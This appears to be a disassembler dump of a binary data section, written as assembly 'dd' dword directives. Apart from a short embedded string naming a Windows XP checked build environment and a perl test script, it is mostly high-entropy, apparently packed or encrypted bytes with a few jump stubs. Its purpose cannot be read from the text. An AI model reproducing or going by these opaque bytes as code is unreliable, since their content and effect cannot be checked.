		dd 86C5B89Ah, 0A2D9D8Dh, 0CEB807FAh, 89000000h,	0FA275985h
		dd 0E807h, 5580000h, 0Dh, 0CEE90389h, 0
		dd 32h dup(76F200h), 0FF76F200h, 87E9FFh, 2A2E0000h, 695769F3h
		dd 776F646Eh, 50582073h, 65684320h, 64656B63h, 69754220h
		dd 4520646Ch, 7269766Eh, 656D6E6Fh, 2D20746Eh, 72657020h
		dd 6574206Ch, 702E7473h, 6Ch, 13h dup(0)
		dd 20F3E900h, 91680000h, 0E9080037h, 0FFFBA879h, 39F368h
		dd 0A86FE908h, 0F768FFFBh, 0E908003Dh, 0FFFBA865h, 3E3B68h
		dd 0A85BE908h, 9168FFFBh, 0E908003Fh, 0FFFBA851h, 40A468h
		dd 0A847E908h, 0AD68FFFBh, 0E9080049h, 0FFFBA83Dh, 502268h
		dd 0A833E908h, 0CD68FFFBh, 0E9080052h, 0FFFBA829h, 66F58E76h
		dd 0E4730CF6h, 6EED8674h, 0D97811FEh, 50FF9867h, 2413B7C1h
		dd 0B39C0C8Bh, 3E097B1Ah, 0BA86F6A5h, 5A197221h, 8A609556h
		dd 6828F319h, 6932AEF5h, 0C7218A94h, 28C18D1Dh,	0E5733FA1h
		dd 7844101Bh, 354852DFh, 38B46D05h, 0DAB7B54Eh,	89F415D6h
		dd 61C97321h, 0EDDFBCAAh, 159D8B24h, 1A26E7Eh, 238F9D36h
		dd 0F0DAD28Bh, 6621B057h, 1E0A1C89h, 87915Eh, 513AA6A8h
		dd 2C6730B8h, 8A24E3A4h, 0F0974121h, 2F0ECA7h, 58EF7B69h
		dd 7012067Ch, 2FB1F226h, 19900D66h, 0C18C1CC4h,	1BB23A28h
		dd 61B7DDAh, 5C92D707h,	0B9A40BD4h, 968C3B5Bh, 31EA780Fh
		dd 896E47CEh, 8BF6670h,	904907CCh, 0DA735C19h, 0D06958CCh
		dd 0C1FEEBD2h, 0F1EBA46Fh, 0FB7C6A03h, 0E3B3F373h, 8940A8AFh
		dd 24D4E3DCh, 0E034D82h, 751CB59Eh, 6998h, 3B057700h, 711884A2h
		dd 4D0AF523h, 0CF3FFB53h, 0D97B35DCh, 6A47C280h, 0B23ADD43h
		dd 4932AAE9h, 0A32AB2B0h, 6FDF6335h, 6A554726h,	0C047D3D1h
		dd 0DECE8731h, 0B3B35AF3h, 7E17E6D6h, 9D3C09D7h, 0D46198Fh
		dd 8108A18Fh, 0CFCBBE4h, 26034D7Fh, 33AE87C9h, 3ED512B6h
		dd 1FAD3h, 0F2DCD000h, 0ECD74B59h, 65CD5553h, 0AF5F2AEh
		dd 0C2F0D658h, 0D808BF39h, 0E67F4BECh, 0DECE954Eh, 0E04C5AF3h
		dd 8A617334h, 0E067D121h, 0F2E6C982h, 0DB718E9Dh, 0DCAB3DD4h
		dd 0AAB8513Bh, 0B2F1AA42h, 8A666D2Eh, 6A21CB21h, 0E4C01FFCh
		dd 0D4F0C8DEh, 0EEDA0AC1h, 1BB7C04h, 0AF19218Ah, 0BA255E37h
		dd 71340C74h, 0BB7C1830h, 192189B4h, 0DA4A18AFh, 0E9824DEEh
		dd 57249881h, 8D44B0BEh, 0AF40D04Ch, 4C402189h,	8163EA83h
		dd 8F2814B5h, 7F4E3E17h, 0B55CC8E6h, 88716B24h,	0F969F1EFh
		dd 0BDD740Dh, 18B19E3Fh, 0C3B99290h, 2CE36AF8h,	3114B6A5h
		dd 883FABB9h, 0B582EE20h, 0EA60E1Ch, 0C9920E55h, 27218A49h
		dd 3EA540BDh, 4759EC07h, 209CD7C0h, 0C513BA53h,	26703ADBh
		dd 5B1CA4DFh, 0B9199026h, 0BA48F0Fh, 0FFFE951Dh, 0FBE9824Dh
		dd 612AA66Fh, 0BF199026h, 56FE9D15h, 0CF6854C4h, 0BBC57E57h
		dd 199025FAh, 3E59F058h, 7D3CBF42h, 7E57011Eh, 18E2BF21h
		dd 0D95932Ch, 95F16CB0h, 703B8C28h, 963D4F44h, 830D460Dh
		dd 1192A0C2h, 0CF11B820h, 0B17AF6E0h, 0FE1192A0h, 26A7811h
		dd 5FF8C173h, 0D951D941h, 7C3D4300h, 801192A0h,	92A03700h
		dd 0CC2B9511h, 74353B24h, 0D21192A0h, 39F2E36Ah, 0A0B576FAh
		dd 0A9131192h, 52F3C222h, 4AD2D069h, 2D7DFFE2h,	38261CCAh
		dd 1D1C34h, 4CE5AD00h, 0D8715BCDh, 60F9C739h, 0D9723FB1h
		dd 62FBCA3Ah, 0B61422B3h, 3DAF2EC7h, 0AC1CBB54h, 57C948E1h
		dd 0E843D26Bh, 5DE4A52Bh, 7942198Ah, 120AF517h,	45B136C8h
		dd 74AA0FEFh, 9C939707h, 1A04F3F5h, 89D5D596h, 38383321h
		dd 2189D56Fh, 238B23CDh, 0DF78423Ah, 0FEEEA928h, 0DDF760Fh
		dd 3DD6A041h, 39D2BB2Fh, 0BF27BF2Bh, 811AE6D6h,	8150F763h
		dd 42038DC6h, 0A02189D5h, 0F5039138h, 727009F7h, 628019E2h
		dd 10572FAh, 0E36E3142h, 0A0B2FA91h, 0E020E9E7h, 9E6D2189h
		dd 66CE7605h, 40C2127Dh, 0AB4A2216h, 0D25A48E1h, 0ABE8B35Ah
		dd 0BFAD4631h, 66409C33h, 4A266FBAh, 43CA6352h,	9A3302B2h
		dd 0CF88208Ch, 852307F0h, 0D67D62AAh, 312BF898h, 0B380198Fh
		dd 0AE980C1Ah, 3FA7400Dh, 0C3FC6B21h, 2BFB26Dh,	511A96DDh
		dd 0AF198F31h, 3DED8E45h, 0F7034CEBh, 523BC85h,	0C31BF69Dh
		dd 0F8000001h, 321BA84h, 0F5A4F097h, 946932AEh,	28C7218Ah
		dd 6CA0745Ch, 56FD7537h, 0E41CAA96h, 30AF0057h,	0BE21FA72h
		dd 0BBE5FDCBh, 674FACE1h, 6A6D6763h, 8B1F4F06h,	99321BBCh
		dd 6B544811h, 4664FDCAh, 0CC5856DEh, 276C2545h,	8A7DE0A9h
		dd 16963E21h, 0DEFA912Ah, 218A7856h, 6245D39Fh,	6A755067h
		dd 94FBE44Ch, 0A76F2565h, 0A435DC96h, 0AFA404EBh, 0D5591B90h
		dd 899C0ACBh, 68006821h, 9233FFE1h, 8D1D0BA4h, 0B23A28C1h
		dd 874DBD3Ah, 0A043A755h, 6F5D4F08h, 832F3FD6h,	0EFB46DD1h
		dd 8A1A28F1h, 37DE8621h, 646C276Ch, 218A1AA3h, 27E5701h
		dd 218A1A39h, 3AA62D97h, 26701048h, 0CB64504Ch,	3FBE55DDh
		dd 5DAC8FA0h, 9F07B150h, 784537F0h, 6751C1DFh, 0DC54E0CEh
		dd 24D97B35h, 8FE2DB9Ch, 178F3919h, 0EA834E3Eh,	94FB3863h
		dd 9B47720h, 12E08016h,	7806D279h, 841E7D93h, 42F8C1BFh
		dd 0EE561193h, 0C7399667h, 8E04D3ABh, 86F6DF47h, 9D0523BCh
		dd 0F6E6ADF6h, 996809h,	0F4F27AE2h, 70F89160h, 973807D9h
		dd 94110FA8h, 851F10B5h, 56D65EB6h, 7E57CF68h, 9DF94D21h
		dd 0C9B5F61Ah, 42AA3230h, 0D2914A8Bh, 938E0DCEh, 4A016B11h
		dd 4F12AB9Ah, 1CC93FB7h, 0BAF2F26Ch, 4B00001Ah,	0F96BEA83h
		dd 75E7760Fh, 0FD6FEE87h, 68D87710h, 0C0510099h, 8C2514B6h
		dd 19B29B0Dh, 0A63F0A7Ah, 20B985F7h, 535D1671h,	198A5B92h
		dd 3E6927F0h, 0C4AFC14Fh, 4DC3CEFBh, 4093FCE5h,	0BE97966Dh
		dd 8D46973Eh, 5701CAC6h, 0A45F218Ah, 8A575B1Ch,	970FB921h
		dd 0ECA33C07h, 9E7710FCh, 0FC65F2Eh, 0AF512CEh,	13CEE0Ch
		dd 0EFF19899h, 3BB16A03h, 1E46B34Ch, 0B1E8A2F6h, 43204E05h
		dd 0C7E57E49h, 4834B45Bh, 2644DDA7h, 0C62EC7B6h, 2B8A752Eh
		dd 20A1D12h, 0ED9746CDh, 7710FB6Bh, 0B0690169h,	632CEDF3h
		dd 0E28A218Ah, 0B933702Bh, 0AE3634CDh, 0A9B7503Eh, 0A44E8A41h
		dd 226706Bh, 7A1E815Ah,	18D5763Dh, 23C4A34Bh, 5ED6F615h
		dd 4A17B7B7h, 9F198FA1h, 0BB2F3DD6h, 5D2B39D2h,	0C09B9512h
		dd 0A7400D7Fh, 0CF9A31B9h, 7B35E5D2h, 8DFF034Dh, 9B0725BEh
		dd 1919F4h, 0F5F30000h,	0DE750EF7h, 126F9Eh, 2E9EE500h
		dd 864FCB64h, 0E4218A94h, 0F5C7D57Ch, 0B9523EAEh, 8A945C1Dh
		dd 7B12BA21h, 6A661F31h, 218A94A1h, 0EB844DFFh,	75FD75FDh
		dd 832624ACh, 9A122670h, 7C7D14ADh, 0CD65FECCh,	15AE9814h
		dd 1BB48317h, 860DA50Dh, 2BC42BE8h, 0F314894Dh,	0B0C64526h
		dd 0E1D6CA43h, 40CEBA2Ah, 5972A43Ah, 633CB463h,	1907A069h
		dd 69DBFA91h, 750EFC9Dh, 6583EB77h, 85A843ACh, 6E88D70Eh
		dd 9F06F9E7h, 68573ED4h, 7841D1CFh, 0FCEBC1DFh,	0FF9865C3h
		dd 2BF179E1h, 4A2916Eh,	372BBAA8h, 0F3ECD590h, 2A6730B0h
		dd 1BC5B24Ch, 0E7887474h, 865831Ch, 0FBBD5D7Fh,	94149CA2h
		dd 94200EA7h, 8000431Ch, 0B24C43B7h, 82A03904h,	9A319B1Ah
		dd 410C803Bh, 0B24B38A8h, 64FDC91Bh, 46AF147Bh,	9DADE25h
		dd 0B527E482h, 0A23230C9h, 0B9213FD8h, 783E9A31h, 0CDB24B9Ch
		dd 0EA7A6801h, 0F48D7B1Ch, 0E8066EF6h, 59D7D01Dh, 0DE4A7772h
		dd 0BF8808F2h, 0CB24B9Ch, 31B9A740h, 0C9921AC2h, 9C45068Ah
		dd 0A592B24Bh, 8C43AD0Ch, 4EEFDB4Dh, 9780E881h,	0A4C25B25h
		dd 35D19138h, 6F36729Bh, 4866FFC8h, 604EE7D4h, 0F7316E63h
		dd 0FFF87009h, 920AD5D2h, 0F5B6BAA4h, 53B24B9Bh, 0F76381E9h
		dd 0BAA49050h, 4B9BF5B6h, 81E953B2h, 0B4552498h, 0EC52DC6h
		dd 0B8AB14CFh
		dd 0CF834E48h, 6D598B42h, 0C4BEAADFh, 50D8B7D1h, 922B1587h
		dd 51AE6BFBh, 0FA511A79h, 0A60EC5B8h, 0F4B5BB74h, 52B24BA9h
		dd 6C7A13E2h, 0C30B6800h, 932383C8h, 0D8B7A008h, 20C1079Bh
		dd 12DF7FD3h, 48FF6B79h, 514F144Fh, 0B24C0788h,	9D77EE6h
		dd 0B7320113h, 4F19C01Fh, 3D6C8E93h, 0EF086796h, 0F4214DDFh
		dd 0C32BC48Eh, 0B78D722Bh, 0E8B12FC7h, 46AA523Ah, 98CA219Eh
		dd 3819A815h, 0F6AA75E3h, 0DAC57E5Fh, 9664BEF1h, 0B3C280FDh
		dd 0FDDFA85Fh, 0FBBCC47Fh, 59AA5227h, 0BE5058EFh, 0DFCD6652h
		dd 8A02DB53h, 9E0624BDh, 0F5E7ACF7h, 0B187A08h,	9654AB10h
		dd 4B69771Eh, 37AF381Bh, 0D0DE7745h, 0AF4CAD64h, 0B6A4E76Ah
		dd 0E2BB331Ch, 75561FA1h, 0D7A3A258h, 35C4303Eh, 0C4BF048Bh
		dd 4361FAC8h, 0B982FED7h, 17A25875h, 1EBA26ADh,	17806854h
		dd 26BF89F5h, 430C9C08h, 0B830BCAAh, 8324EDDFh,	871FB8h
		dd 96D71997h, 0D4BBC92Dh, 1F39631Bh, 18D97009h,	0AC44DDA8h
		dd 0C5750CF3h, 490972CFh, 0C44BE37Ch, 2AA6EDA6h, 0BC4D0561h
		dd 367E15BFh, 0A0E3BC24h, 4D055720h, 840BB5BCh,	9564581Bh
		dd 0CF86EEFCh, 371F0C11h, 4AF552C1h, 0F349C84Eh, 5C170068h
		dd 54FB9460h, 3807A894h, 714E079Fh, 0C5D23EB8h,	0D001885Eh
		dd 93545C17h, 0F1B44F72h, 5420C047h, 51746FC6h,	0BCD6FFF4h
		dd 570DA423h, 9DC54DCh,	7A0E0E9Fh, 0B65656C8h, 47000016h
		dd 0C537E67Fh, 41B362FBh, 0C93BDA73h, 44B463FCh, 0AC3DDC75h
		dd 0B049388Ah, 2DC6AF21h, 0BA533EAEh, 44DDA91Bh, 37393A95h
		dd 198A576Eh, 0F59D03CCh, 0DB720BF7h, 0C1A43D09h, 0CD23961h
		dd 7210140Ah, 3000016h,	81F3A23Bh, 0D7F1EB7h, 85F7A63Fh
		dd 701FB8h, 68F99831h, 0F48D7C4Eh, 710AF365h, 0EE8772E2h
		dd 7811FD6Fh, 0FB857ED9h, 198A563Ah, 0F5910F98h, 946932AEh
		dd 1DC7218Ah, 0E98A7676h, 0F8917E1Fh, 0AD1FF870h, 0D7EA47E0h
		dd 0CA1CB165h, 0AE3E2CE3h, 0B7503EDFh, 0F0A941A9h, 0B46C2DB3h
		dd 22CA2189h, 4EB16A6Bh, 8C144660h, 218A75CBh, 1E32BF29h
		dd 0AFD86F56h, 523DAFCDh, 4837ABB9h, 0C129B1AFh, 870A20Ah
		dd 0D7705D4Fh, 0F1AA61C9h, 6FD3D1EFh, 0F4BFBD26h, 9B45B45Bh
		dd 6801CAC2h, 645BF27Ah, 40D9A517h, 2EC7B222h, 47D10FC6h
		dd 5CD83D09h, 882F61BAh, 89BE123Bh, 75FB3821h, 57D207B4h
		dd 7823AA12h, 5AF3C1BBh, 0AB29E04Ch, 5CB80A71h,	0D0695755h
		dd 32C34AD2h, 951DB682h, 4CE5D0CCh, 0A7ECA5C5h,	0D8046029h
		dd 0BBC5BE4Fh, 4FD803FAh, 0D178F058h, 0CFDC35D7h, 89A495D3h
		dd 0DAD28B23h, 0B3E956EFh, 0A32DC71Ch, 8FD4CF86h, 7D0BCCD4h
		dd 0FF694FD8h, 978F8C48h, 17B54C2h, 1F8B9932h, 0EDD78968h
		dd 4003DC54h, 713BFD5Fh, 48FF7C80h, 3D0BAC98h, 961E86A4h
		dd 89074C07h, 47DA13C0h, 0CD1FB61Eh, 0FD966001h, 0B9F8B275h
		dd 0FB73E682h, 151CF7h,	4CE5AD00h, 0D8715BCDh, 60F9C739h
		dd 0D9723FB1h, 62FBCA3Ah, 0B61422B3h, 3DAF2EC7h, 0AC1CBB54h
		dd 57C948E1h, 0E843D26Bh, 55E4A52Bh, 7942198Ah,	0CF7F517h
		dd 400CDC73h, 0FF986656h, 8A949253h, 0E048F021h, 1EB785F7h
		dd 5111AF10h, 0D4ED43FDh, 0B50FDF5Ch, 9C18C75Fh, 209C75F5h
		dd 0D616BD56h, 0E27B4AEBh, 5310CB4Ah, 8A638C4Dh, 9982EA21h
		dd 8A634E17h, 8D44AC21h, 8A63264Fh, 0AD193B21h,	0F8E149E2h
		dd 220B984h, 0EBA8F39Ah, 716F08F1h, 0D77662E9h,	31298A75h
		dd 99B53F92h, 3A48E592h, 3DFA779Dh, 8F48E0E7h, 0FAA61230h
		dd 139D472Fh, 198A4152h, 0E9A008B0h, 0C4523EAEh, 30E0C5D4h
		dd 0E0B93182h, 8C55A2FFh, 973E06FBh, 220F8D46h,	780F9B89h
		dd 0FFB9C68h, 7CEC7876h, 0A47DF58Eh, 5DCA493Bh,	0C44B960Ch
		dd 0A64736A6h, 0B82442DBh, 76593230h, 6570C2B0h, 0D86E270Ah
		dd 0C0D48190h, 743FA128h, 0E54DE6D3h, 0D32CB202h, 7D7DF114h
		dd 1409h, 7A19B29Ah, 28A7400Ah,	0A231CAB8h, 2DAC4532h
		dd 0A433CCBBh, 0F0BF0315h, 7F48B857h, 0FAC537E6h, 7642B261h
		dd 1EE53EDDh, 8A54D9A2h, 246C3719h, 7468523Eh, 67F3F18Ah
		dd 8A942AEBh, 48E08821h, 871E815Ah, 3E7469B5h, 0A89454FBh
		dd 6756460Fh, 0B32747CEh, 9F3331CAh, 622937D0h,	0BF969A07h
		dd 851EE8E4h, 226A3CEh,	83444C36h, 0E12189A1h, 9FD1FA77h
		dd 61B6F257h, 4D5310C9h, 218A878Ch, 0ACB82EAh, 0CD8E1251h
		dd 2B218A87h, 0B9690AC1h, 0E904B785h, 0C2Ch, 3AA2C926h
		dd 0DFC1F218h, 0AF56C28h, 0F977DB75h, 21899F30h, 2459E68Eh
		dd 0CA42B17h, 52B2B10Ah, 35311C58h, 0C62EC7B5h,	3F4BF2DDh
		dd 1ACA9DCDh, 716B2873h, 75FDEB84h, 8D22AF08h, 31D8CA5Fh
		dd 8A9804A3h, 0B09B0429h, 83BC3601h, 24C332D9h,	0E2CF2E12h
		dd 501EC49h, 86EE8770h,	65831CE6h, 43AC75FDh, 960998ADh
		dd 0A9F2996Fh, 5E27A9EAh, 0BC198A67h, 9F6B7D14h, 0BD398D11h
		dd 32BA67DDh, 0FB58F9A3h, 87AE6978h, 2DF67EE2h,	3A28C1AFh
		dd 8E4B1BB2h, 2C0ACBD5h, 68198Ah, 90838B49h, 0CC50E6h
		dd 70F8915Fh, 4E179972h, 0ACA01DC0h, 4BD9A444h,	861051B6h
		dd 3533BB87h, 79B7F05Fh, 1AE7E59Eh, 7A13E181h, 0B62996D3h
		dd 2D6BF9C6h, 33955906h, 0A83432BAh, 28A24E21h,	189485DBh
		dd 2929029h, 7F169E37h,	0B392h,	0D02E9100h, 0C8612DE2h
		dd 0AD9CCE6Bh, 0AF57A26h, 3BAAA49Eh, 1935C2DDh,	93257901h
		dd 0C84963EAh, 0D5D36C58h, 80FCE54Dh, 0A20A18B1h, 0B0F3B0EBh
		dd 89F06730h, 9CD5C721h, 662109E9h, 0FAE66DD7h,	218A6031h
		dd 34CDB735h, 0D627AE36h, 4E37B56Eh, 0A42BB7B5h, 0A68F0DC6h
		dd 0FC931F0Dh, 0EDC1D7E0h, 0BE572401h, 0B9523CB0h, 4976F1ABh
		dd 30732CE7h, 22FDE7B0h, 0F49B4501h, 0BB675079h, 7D24D01Bh
		dd 1EC1BA12h, 1DB4B731h, 27F0h,	0D4BD2F00h, 0EC52D3Bh
		dd 3EAEF592h, 5D1EBA53h, 0AA218A94h, 0BE2644DDh, 7EFE953Fh
		dd 474h, 0A33C0785h, 2A761D85h,	750EF7F5h, 0DB45D6DEh
		dd 23BC8A02h, 5E25FE6Ch, 8A949962h, 0C64DF721h,	0E6F80A1Ah
		dd 0D0695358h, 0DB7442D2h, 0CFF8F7CDh, 8DDFF76Ch, 1E96DDA1h
		dd 0BD8C0043h, 0F79E0624h, 1A924D7Ah, 228A9831h, 54E67E95h
		dd 0D47B45CEh, 0DB3AF7A3h, 6F2F7Dh, 78740000h, 6DF5F38Ch
		dd 0F7F5BAE6h, 0EB77750Eh, 65CB4C64h, 7808137Ch, 7AF94BCEh
		dd 0D9B693D3h, 6E28278h, 0F4E06792h, 58E6491Fh,	0FCC66754h
		dd 60DDCB63h, 542C9A40h, 3805A5B5h, 0C24819Fh, 0D312E841h
		dd 4D7A655Fh, 5837F8E3h, 897F49DDh, 76F39A7Bh, 5A269649h
		dd 0B9690AC1h, 7B7DDA54h, 1E9B3401h, 0A82D09C3h, 4DB84FA6h
		dd 10Fh, 8F7F54Fh, 8B95026Fh, 0C76824A3h, 8CE76840h, 51C56D7Fh
		dd 5DE566Dh, 0EC854E3Eh, 0BF676FEh, 3CFDDB72h, 9A2189DBh
		dd 0A4C25B2Ah, 8F08B038h, 0DB0BCCD4h, 0FF692189h, 7203AB48h
		dd 7A6801F0h, 66841DEAh, 0A76E07F6h, 0ECD35D4Ah, 37D0B933h
		dd 313A5BAh, 27AEF57Dh,	1D825D4Ah, 76F193F1h, 0F182099Ah
		dd 4B7E601h, 34CDB933h,	0EA27AE36h, 9Bh, 2FC8B329h, 0D74CA931h
		dd 932FEDB1h, 0F5D3C148h, 28E6200Ah, 43CA9027h,	2D8BE869h
		dd 0D6BB1934h, 41A9420Ch, 0EFCF0A9h, 7EC5DE75h,	0EFA63F0Eh
		dd 8A662AF1h, 0C6B22A21h, 1CB33F2Dh, 0DD9E22DDh, 2A218A66h
		dd 8B35C45Dh, 0D9D38C23h, 0D2BD54EDh, 0B97A67EEh, 8A65EEB7h
		dd 4A44C21h, 7AF79E37h,	0A3BE6A4Dh, 0BB7804B7h,	8A6CF4B5h
		dd 63EA5221h, 26A6h, 0AEF5EA00h, 8A946932h, 441DC721h
		dd 8A947B3Ch, 0D86FD921h, 2AB98h, 1EEDDF00h, 94EBAC34h
		dd 9F49218Ah, 0F5148007h, 75730CF7h, 0F21666EDh, 5A000001h
		dd 6F08F7F5h, 0E43FD0D8h, 5E690B0Bh, 0C0D71C2Eh, 0E1BA560Dh
		dd 84F8E149h, 0FB6B22BBh, 0DA135F5Bh, 0EA79074h, 2AC38C20h
		dd 9A07423Ch, 6956CB96h, 0AB390676h, 0A82B13DBh, 0CDDB5306h
		dd 0DDCDAE65h, 0D751E61Fh, 0AC28339Ch, 0E7619E6Eh, 3924AA6Bh
		dd 6E5808CCh, 5BB65DD5h, 11Ah, 0DD764438h, 0F0AC63CFh
		dd 0AFF65506h, 20C57195h, 318C81C5h, 258DCF72h,	0EED8D48Dh
		dd 43048C55h, 0A1218A06h, 4C079037h, 0F1C06150h, 4AE24A58h
		dd 65415C3h, 7758218Ah,	0EC7F2C9Fh, 0FBBA37D9h,	4BDFADB0h
		dd 0D0807118h, 0F7E048E1h, 2E19BA85h, 9B0F1D95h, 0F79E16AFh
		dd 55229A77h, 0DAC715BCh, 2F01A9EEh, 95565A44h,	0F301699Ch
		dd 4FC3E149h, 5FF8C566h, 5351D941h, 0EC9A6CD2h,	4D370642h
		dd 0D08BA522h, 962F1D8Fh, 0E8850C98h, 0DFAC20BFh, 3CEC8F46h
		dd 642497E0h, 5Bh, 0AB4431ABh, 0F7F57824h, 59E6D0Eh, 0F5F37BE7h
		dd 4DCEE66Dh, 863C0AEEh, 0CE6628CFh, 8B154E15h,	2189A9CAh
		dd 0CB09C028h, 2189A90Ah, 210BF868h, 89A9D69Fh,	248C3421h
		dd 15029E8Ch, 1F4CA9CEh, 6C8D7B64h, 491F8699h, 0BDFAA7C2h
		dd 69962DCDh, 6F08F5E7h, 242DD8h, 0F56F0000h, 74720BF7h
		dd 2399F3F3h, 2EC67A25h, 12AD5A7h, 0A01C0000h, 0C02C3AD3h
		dd 9910D9D7h, 66E2189h,	0F7F5514Fh, 7A06C0Dh, 0B199119h
		dd 0CF8E89Fh, 94DD9E22h, 913B218Ah, 7E4C4019h, 0DE5BC7E5h
		dd 0D3E1A98Fh, 65058CA0h, 8A541BE9h, 0E4857021h, 0F7F57D16h
		dd 0E1FF9863h, 40F0D908h, 0E1876823h, 15D05DD8h, 84713A36h
		dd 25CF218Ah, 3E6B068Dh, 0CEF43EA1h, 98550CBCh,	3CB92618h
		dd 26AD03ECh, 6A59FAC6h, 0DF47D3D1h, 21BA86F6h,	3D079703h
		dd 33ECEDA4h, 63E961CCh, 0EBA280C9h, 32AEF5ADh,	218A9469h
		dd 3E761DC7h, 1982BE1Dh, 0E8801D2Eh, 5B259780h,	0F9E20BC2h
		dd 771EB783h, 75407B1Ch, 725ECEDCh, 920ECBD9h, 218997C9h
		dd 68E7BD27h, 1EFBF13Fh, 996765h, 1DDE7AE2h, 7B218997h
		dd 722F3AD1h, 0EA836F6Dh, 5BF28B7Ah, 899CA67Dh,	410A8621h
		dd 9F21898Ah, 31CAB535h, 563FA733h, 0B1686979h,	2CE3EC1Ch
		dd 0B6A2584Bh, 9F1D5604h, 0C52D3BD4h, 896E5019h, 0A646AE21h
		dd 7F8A41DAh, 0FFFFFD88h, 0C55E28A4h, 8943BA7h,	740DF7F5h
		dd 6269BDDh, 0EAE20000h, 0D2CE851Eh, 6932AEF5h,	6D218A94h
		dd 8A94A263h, 0D9580021h, 3C08D86Fh, 87CC85A3h,	918F2815h
		dd 94CC8D09h, 2F19218Ah, 0AD0C9896h, 705C8C43h,	5947E0CFh
		dd 4462FBC9h, 0E3D050D8h, 3AF9E24Ah, 55CAFD55h,	0D24EB1F9h
		dd 218A0409h, 8756FD67h, 0FECB3BDDh, 9814CD65h,	237C13ACh
		dd 7A06C60h, 0EA8D1EAAh, 0F59C9EE1h, 703F69E7h,	6E575526h
		dd 4765FECDh, 3DBC53DBh, 826BF8Bh, 84B149Ch, 903BBF88h
		dd 1CB31D19h, 2917954Eh, 0C9C790h, 5E19903Bh, 0B4815FF6h
		dd 919903Bh, 0F83A13Ah,	75363A24h, 0D319903Bh, 18E30169h
		dd 815CD4CDh, 87CC138Ch, 903B4009h, 9F369E19h, 4DD52CDCh
		dd 0A7960603h, 7C8A870Eh, 89000000h, 918F2813h,	0F5168209h
		dd 0F5750EF7h, 0CEE66D06h, 55EEDC4Ch, 0AA7C04DDh, 8E2670A1h
		dd 0F097301Eh, 0C18A0601h, 1F19905Fh, 68643DB5h, 9463039Ch
		dd 3D1654FBh, 0CBD9723Fh, 672CA85Fh, 0BC19905Fh, 0A33735CEh
		dd 29F2EED8h, 8719905Fh, 695755DDh, 2CE74976h, 0E7B03073h
		dd 4519905Fh, 5079F49Bh, 7428308Fh, 0D6AB93E4h,	3B4C3C3Fh
		dd 9DD4034Dh, 0BB000001h, 4F5DF6C1h, 0F5702CE3h, 0F9114F0Ah
		dd 30D77938h, 0D6DAC4B0h, 2189AB15h, 9010C973h,	2189ABC7h
		dd 6A33BB25h, 5A70D885h, 7910B74Dh, 8C7330E9h, 0CD29921Bh
		dd 0B576226Bh, 132189A1h, 0F3C222A9h, 6D180565h, 8820E857h
		dd 3F90F0CFh, 199900FCh, 9460F472h, 36B04F3h, 8E57591Ah
		dd 0EC218A7Bh, 0C49DCD84h, 7B38017Fh, 2E96218Ah, 9037D0BEh
		dd 0F9C36450h, 0E5D24260h, 5ED65E4Ch, 238C47D6h, 65C2D234h
		dd 13C148D6h, 218A678Bh, 8922118Bh, 7516E202h, 8922EB8Ch
		dd 89970F9Bh, 93D08921h, 8A674C0Dh, 8B42AA21h, 2D1B914Ah
		dd 525B9C9Fh, 3FA772A6h, 2AC3B121h, 6FA10BC2h, 8B154E07h
		dd 218A6FCAh, 8E09C028h, 53ECD7D5h, 62FBC555h, 0B950D844h
		dd 77841B1Bh, 0A5D67526h, 472EBB65h, 571C056Dh,	8CAF9059h
		dd 0CF86EE19h, 48E9D8D4h, 57C3E17Ah, 0CA62FBC7h, 14AD9B11h
		dd 3CA35C7Dh, 0E18AB8Ch, 0DC0CC3A7h, 0BC7D03EDh, 9198CB6h
		dd 0AC14A33Ch, 0B62CEDF3h, 0E28A198Ch, 1731974Ah, 0EC8214D0h
		dd 0B0008h, 10A99100h, 8C250F81h, 14AD9B0Dh, 8D261385h
		dd 16AF9E0Eh, 0E2E0F687h, 69DB7A13h, 188807A0h,	9305942Dh
		dd 348F0EA7h, 4BA8716Fh, 3D06198Ah, 0CF7F553h, 6D06F373h
		dd 8C5CF37Fh, 0CCDD3BDh, 6A218A94h, 3BB16A02h, 48E1AC4Dh
		dd 0B35AD25Ah, 85736922h, 0DF76FEECh, 0EFA8410Dh, 3FE50D10h
		dd 0B542B061h, 4D096689h, 0AA2BE2A1h, 760FFBF1h, 3765EC78h
		dd 0AEC4523Eh, 7AF606DAh, 0FEEEA73Fh, 0EB846F10h, 0EFFD75FDh
		dd 0E9ECC83h, 3DAB442h,	213FD8A7h, 0C2643CB9h, 0E8E4BD35h
		dd 0DCC831Ch, 96996D52h, 0E653ECD6h, 771EC757h,	0DFAB1B3Dh
		dd 34BC2846h, 0C9B4286Bh, 4DAA3230h, 0F2BF8603h, 0BE1AB1E3h
		dd 267057D0h, 5933F3DCh, 71BCF2E3h, 0CE85ED86h,	0AB6C742Fh
		dd 9199094h, 31FA765Fh,	8F199094h, 18944DE5h, 24BD8829h
		dd 0AC65058Ch, 22A94230h, 9093F3B6h, 0E27B4419h, 0CA6350C4h
		dd 0B5F2DFDCh, 0C88B947Bh, 9093FFC8h, 0E57E4C19h, 74DC5BC7h
		dd 0D1386D07h, 5BF269CDh, 154E910Eh, 6E89524Eh,	7DE71990h
		dd 906E18E1h, 0F37D7619h, 19906E32h, 9C02890h, 37016D9Fh
		dd 64D169Eh, 6E82434Dh,	78E01990h, 906E1BDCh, 38CF7919h
		dd 0DFA8245Fh, 5B518F46h, 671E7668h, 54E3A42Ch,	97411196h
		dd 654F01F0h, 0B87B64CCh, 9653EFB8h, 0ECA34D11h, 0CCBA32EDh
		dd 2149C33h, 1614AD96h,	3F3D268Eh, 6730D770h, 9665C269h
		dd 0FF81C219h, 9961F36h, 54A52C94h, 9F8D1BE4h, 436A3F3h
		dd 0ECB53DB5h, 0AE4735A7h, 56F7C527h, 47D3D16Ah, 333DF6DFh
		dd 9968C72h, 0F0E168D0h, 0DB0E5837h, 902DEEF2h,	0E18B0996h
		dd 43770654h, 0FC7D508Ch, 0BE850995h, 95FBF9C2h, 66ED5709h
		dd 3922BB86h, 0CDDB7443h, 742FAE65h, 0F4F28B78h, 710AF868h
		dd 1199ADAh, 0EBE10000h, 0CFCD841Dh, 111B0AF5h,	0EB7A0C2Dh
		dd 0ABEDAE32h, 0A14B2189h, 0AB29EEEAh, 0B7352189h, 0AA3230C9h
		dd 0D18A8923h, 89AB06CFh, 57076421h, 6E2FE75Dh,	654FAC44h
		dd 0B8A96972h, 0F4AF2EC6h, 0B74F8F0Bh, 4A01D792h, 0DDC2AC9Ah
		dd 1DFD3865h, 9D5EFAACh, 0FB218A32h, 4EE67F49h,	0B17FFDE6h
		dd 2A20A18h, 24909E37h,	0A824FD6Dh, 4F8D44DDh, 218A3286h
